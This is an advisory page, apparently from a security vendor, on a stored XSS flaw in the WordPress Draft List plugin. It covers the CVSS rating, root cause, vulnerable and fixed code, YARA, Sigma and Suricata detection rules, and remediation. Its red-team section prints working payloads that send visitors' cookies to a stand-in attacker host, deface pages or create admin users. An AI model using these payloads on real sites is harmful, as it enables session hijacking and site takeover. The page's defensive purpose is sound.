CVE-2025-10181
Executive Summary
CVE-2025-10181 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Draft List plugin for WordPress, affecting all versions up to and including version 2.6. The vulnerability resides in the plugin's [drafts] shortcode, where user-supplied attributes are not properly sanitized or escaped before being output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further compromise.
This vulnerability is particularly dangerous in multi-author WordPress environments where contributors can create and publish content. The CVSS score of 6.4 (Medium) reflects the need for authentication but also the potential for widespread impact due to the stored nature of the payload.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The Draft List plugin is a third-party component, not part of core WordPress. The attack vector relies on the plugin's failure to properly handle user input within its shortcode attributes, a common issue in WordPress plugins. The vulnerability does not affect Apache, Nginx, or any other web server software.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – An attacker needs Contributor-level access or higher.
- User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While authentication is required, the stored XSS nature means a single injection can affect many users, including administrators. The EPSS score of 0.0% suggests low current exploitation activity, but this may change as details become public.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in a WordPress shortcode. The [drafts] shortcode is used to display a list of draft posts. The plugin allows users to pass attributes to the shortcode, such as [drafts author="admin"]. The plugin fails to sanitize or escape these attributes before outputting them in the HTML.
Root Cause: The plugin uses echo $atts['attribute'] or similar without applying esc_attr() or wp_kses() functions. This allows an attacker to inject JavaScript code into the attribute value.
Attack Flow:
- An authenticated user with Contributor-level access creates a new post or page.
- In the content, they insert the shortcode with a malicious attribute:
[drafts author="<script>alert('XSS')</script>"]. - When the post is saved and viewed by any user, the injected script executes in the browser.
Impact: The attacker can steal cookies, redirect users to malicious sites, deface the page, or perform actions on behalf of the victim (e.g., creating new admin users).
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern.
Vulnerable Code (Example):
function drafts_shortcode($atts) {
$atts = shortcode_atts(array(
'author' => '',
'status' => 'draft'
), $atts);
// Direct output without escaping
echo '<div class="drafts-list" data-author="' . $atts['author'] . '">';
// ... rest of the code
}
Patched Code (Expected):
function drafts_shortcode($atts) {
$atts = shortcode_atts(array(
'author' => '',
'status' => 'draft'
), $atts);
// Properly escape the attribute
echo '<div class="drafts-list" data-author="' . esc_attr($atts['author']) . '">';
// ... rest of the code
}
The fix involves using esc_attr() for HTML attributes and esc_html() for HTML content. Additionally, wp_kses() should be used if HTML is allowed in the attribute.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress installation with the Draft List plugin (version <= 2.6) activated.
- An account with Contributor-level privileges or higher.
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Create a new post or page.
- In the content editor (Text mode), insert the following shortcode:
[drafts author="<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>"] - Publish or save the post.
- When any user (including admins) views the post, their cookies are sent to the attacker's server.
Alternative Payloads:
- Session hijacking:
<script>new Image().src='https://attacker.com/steal.php?c='+document.cookie</script> - Defacement:
<script>document.body.innerHTML='<h1>Hacked</h1>'</script> - Admin creation:
<script>jQuery.post(ajaxurl, {action:'create_admin', user:'hacker', pass:'hacked'})</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts containing the
[draftsshortcode with suspicious attributes (e.g.,<script>,onerror=,javascript:). - Review server logs for requests to
wp-admin/post.phpwith unusual shortcode parameters. - Use the YARA and Sigma rules provided in the Detection Engineering section.
Hardening:
- Immediately disable the Draft List plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block shortcode attributes containing
<script>oron*event handlers. - Restrict Contributor-level access to trusted users only.
- Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.
Indicators of Compromise (IOCs)
File Indicators:
- Presence of the Draft List plugin in
/wp-content/plugins/draft-list/ - Modified plugin files (check file integrity)
- Presence of the Draft List plugin in
Network Indicators:
- Outbound connections to unknown domains from the WordPress server
- HTTP requests containing
[draftswith script tags in theauthoror other attributes
Log Indicators:
- WordPress debug log entries showing
shortcode_attswith unexpected values - Web server access logs showing requests to
wp-admin/post.phpwithcontentparameter containing<script>tags
- WordPress debug log entries showing
Behavioral Indicators:
- Unexpected admin user creation
- Unusual redirects from the WordPress site
- Posts or pages containing JavaScript in shortcode attributes
Detection Engineering
YARA Rule
rule Detect_Draft_List_XSS_Shortcode {
meta:
description = "Detects malicious shortcode attributes in Draft List plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-10181"
strings:
$shortcode = /\[drafts\s+[^\]]*?(<script|on\w+\s*=|javascript:)/i
$plugin_path = "wp-content/plugins/draft-list"
condition:
$shortcode and $plugin_path
}
Sigma Rule
title: WordPress Draft List Plugin Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-10181 via shortcode injection
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-admin/post.php'
cs-uri-query|contains: 'content=[drafts'
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of shortcode with non-malicious attributes
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10181 WordPress Draft List Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"content=[drafts"; http_client_body; pcre:"/(<script|on\w+\s*=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Draft List plugin until a patched version is released.
- Review all posts and pages for malicious shortcode injections. Use the YARA rule above to scan the database.
- Reset all user sessions to invalidate any stolen cookies.
- Audit user accounts for any unauthorized admin-level accounts created.
Long-term Mitigation:
- Apply the patch as soon as it becomes available from the plugin vendor.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use WordPress security plugins that include XSS detection and prevention.
- Educate content creators about the risks of using shortcodes with user input.
Workaround (if plugin cannot be disabled):
- Add a custom filter to sanitize shortcode attributes:
add_filter('shortcode_atts_drafts', function($out, $pairs, $atts) { foreach ($out as $key => $value) { $out[$key] = esc_attr($value); } return $out; }, 10, 3);
Valters IT – Securing Digital Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.